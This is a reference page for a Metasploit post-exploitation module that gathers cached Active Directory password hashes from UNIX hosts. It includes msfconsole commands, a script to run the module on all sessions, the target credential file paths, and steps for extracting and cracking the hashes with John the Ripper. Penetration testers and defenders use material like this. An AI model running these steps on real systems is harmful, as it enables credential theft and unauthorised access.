UNIX Gather Cached AD Hashes - Metasploit
This page contains detailed information about how to use the post/multi/gather/unix_cached_ad_hashes metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: UNIX Gather Cached AD Hashes
Module: post/multi/gather/unix_cached_ad_hashes
Source code: modules/post/multi/gather/unix_cached_ad_hashes.rb
Disclosure date: -
Last modification time: 2021-05-04 11:31:11 +0000
Supported architecture(s): -
Supported platform(s): AIX, Linux, OSX, Solaris, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -
Post Module to obtain all cached AD hashes on the targeted UNIX machine. These can be cracked with John the Ripper (JtR).
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/multi/gather/unix_cached_ad_hashes
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/multi/gather/unix_cached_ad_hashes
msf post(unix_cached_ad_hashes) > show options
... show and set options ...
msf post(unix_cached_ad_hashes) > set SESSION session-id
msf post(unix_cached_ad_hashes) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/multi/gather/unix_cached_ad_hashes")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
This post-exploitation module is to attack Active Directory integration solutions on UNIX. Specifically, it obtains all cached AD hashes on the targeted UNIX machine. These can be cracked with John the Ripper (JtR).
More detail about the underlying research from which these modules were derived can be found at:
- https://labs.portcullis.co.uk/blog/an-offensive-introduction-to-active-directory-on-unix/
This post contains both links to the Black Hat Europe 2018 presentation where the research was publicly disclosed as well as the Portcullis Labs GitHub repo from which this post-exploitation module is derived.
Verification Steps
- Install the application
- Start msfconsole
- Establish a valid Meterpreter session
- Do:
use post/multi/gather/unix_cached_ad_hashes
- Do:
run
- You should get the cached hashes
- Additional tools need to be run to extract the hashes in a crackable format
Files will be retrieved and placed into the Metasploit loot sub-system as unix_cached_ad_hashes_*.
There are no CVEs aligned to these post-exploitation modules because no specific vulnerabilities are being exploited in gathering these files. The post-exploitation module is intended to operate on sessions where root (or appropriate user) privileges has already been obtained.
Scenarios
Samba (smbd)
On a system running Samba (smbd), the modules will gather:
- /var/lib/samba/private/secrets.tdb
- /var/lib/samba/passdb.tdb
Use tdbdump to extract structed data from these files (tdbdump #{filename}
), and search for the phrase
cachedPassword
. The hash should be in the same format as hashes in /etc/shadow (e.g. $6$...
).
JtR can natively crack these hashes.
SSS (sssd)
On a system running SSS (sssd), the modules will gather:
- /var/lib/sss/db/cache_*
Use tdbdump to extract structed data from these files (tdbdump #{filename}
), and search for the phrase
cachedPassword
. The hash should be in the same format as hashes in /etc/shadow (e.g. $6$...
).
JtR can natively crack these hashes.
One Identity Vintela Authentication Services (vasd)
On a system running One Identity's Vintela Authentication Services (vasd), the modules will gather:
- /var/opt/quest/vas/authcache/vas_auth.vdb
JtR can crack the cached hashes extracted from this database using sqlite3 using the dynamic.conf rules located in our GitHub repo:
- https://github.com/portcullislabs/linikatz/tree/master/red/JohnTheRipper
Go back to menu.
Msfconsole Usage
Here is how the multi/gather/unix_cached_ad_hashes post exploitation module looks in the msfconsole:
msf6 > use post/multi/gather/unix_cached_ad_hashes
msf6 post(multi/gather/unix_cached_ad_hashes) > show info
Name: UNIX Gather Cached AD Hashes
Module: post/multi/gather/unix_cached_ad_hashes
Platform: Linux, OSX, Unix, Solaris, AIX
Arch:
Rank: Normal
Provided by:
Tim Brown <[email protected]>
Compatible session types:
Meterpreter
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Description:
Post Module to obtain all cached AD hashes on the targeted UNIX
machine. These can be cracked with John the Ripper (JtR).
Module Options
This is a complete list of options available in the multi/gather/unix_cached_ad_hashes post exploitation module:
msf6 post(multi/gather/unix_cached_ad_hashes) > show options
Module options (post/multi/gather/unix_cached_ad_hashes):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the multi/gather/unix_cached_ad_hashes post exploitation module:
msf6 post(multi/gather/unix_cached_ad_hashes) > show advanced
Module advanced options (post/multi/gather/unix_cached_ad_hashes):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the multi/gather/unix_cached_ad_hashes module can do:
msf6 post(multi/gather/unix_cached_ad_hashes) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the multi/gather/unix_cached_ad_hashes post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(multi/gather/unix_cached_ad_hashes) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Must be running as root
Here is a relevant code snippet related to the "Must be running as root" error message:
44: )
45: )
46: end
47:
48: def run
49: fail_with(Msf::Module::Failure::NoAccess, 'Must be running as root') unless is_root?
50: print_status('Finding files')
51: files = [ '/var/lib/samba/private/secrets.tdb', '/var/lib/samba/passdb.tdb', '/var/opt/quest/vas/authcache/vas_auth.vdb' ]
52: files += cmd_exec('ls /var/lib/sss/db/cache_*').split(/\r\n|\r|\n/)
53: files = files.select { |d| file?(d) }
54: if files.nil? || files.empty?
No cached AD hashes found
Here is a relevant code snippet related to the "No cached AD hashes found" error message:
50: print_status('Finding files')
51: files = [ '/var/lib/samba/private/secrets.tdb', '/var/lib/samba/passdb.tdb', '/var/opt/quest/vas/authcache/vas_auth.vdb' ]
52: files += cmd_exec('ls /var/lib/sss/db/cache_*').split(/\r\n|\r|\n/)
53: files = files.select { |d| file?(d) }
54: if files.nil? || files.empty?
55: print_error('No cached AD hashes found')
56: return
57: end
58: download_loot(files)
59: end
60:
Go back to menu.
Related Pull Requests
Go back to menu.
See Also
Check also the following modules related to this module:
- post/multi/gather/apple_ios_backup
- post/multi/gather/aws_ec2_instance_metadata
- post/multi/gather/aws_keys
- post/multi/gather/check_malware
- post/multi/gather/chrome_cookies
- post/multi/gather/dbvis_enum
- post/multi/gather/dns_bruteforce
- post/multi/gather/dns_reverse_lookup
- post/multi/gather/dns_srv_lookup
- post/multi/gather/docker_creds
- post/multi/gather/enum_hexchat
- post/multi/gather/enum_software_versions
- post/multi/gather/enum_vbox
- post/multi/gather/env
- post/multi/gather/fetchmailrc_creds
- post/multi/gather/filezilla_client_cred
- post/multi/gather/find_vmx
- post/multi/gather/firefox_creds
- post/multi/gather/gpg_creds
- post/multi/gather/grub_creds
- post/multi/gather/irssi_creds
- post/multi/gather/jboss_gather
- post/multi/gather/jenkins_gather
- post/multi/gather/lastpass_creds
- post/multi/gather/maven_creds
- post/multi/gather/multi_command
- post/multi/gather/netrc_creds
- post/multi/gather/pgpass_creds
- post/multi/gather/pidgin_cred
- post/multi/gather/ping_sweep
- post/multi/gather/remmina_creds
- post/multi/gather/resolve_hosts
- post/multi/gather/rsyncd_creds
- post/multi/gather/rubygems_api_key
- post/multi/gather/run_console_rc_file
- post/multi/gather/saltstack_salt
- post/multi/gather/skype_enum
- post/multi/gather/ssh_creds
- post/multi/gather/thunderbird_creds
- post/multi/gather/tomcat_gather
- post/multi/gather/ubiquiti_unifi_backup
- post/multi/gather/unix_kerberos_tickets
- post/multi/gather/wlan_geolocate
Authors
- Tim Brown <timb[at]nth-dimension.org.uk>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.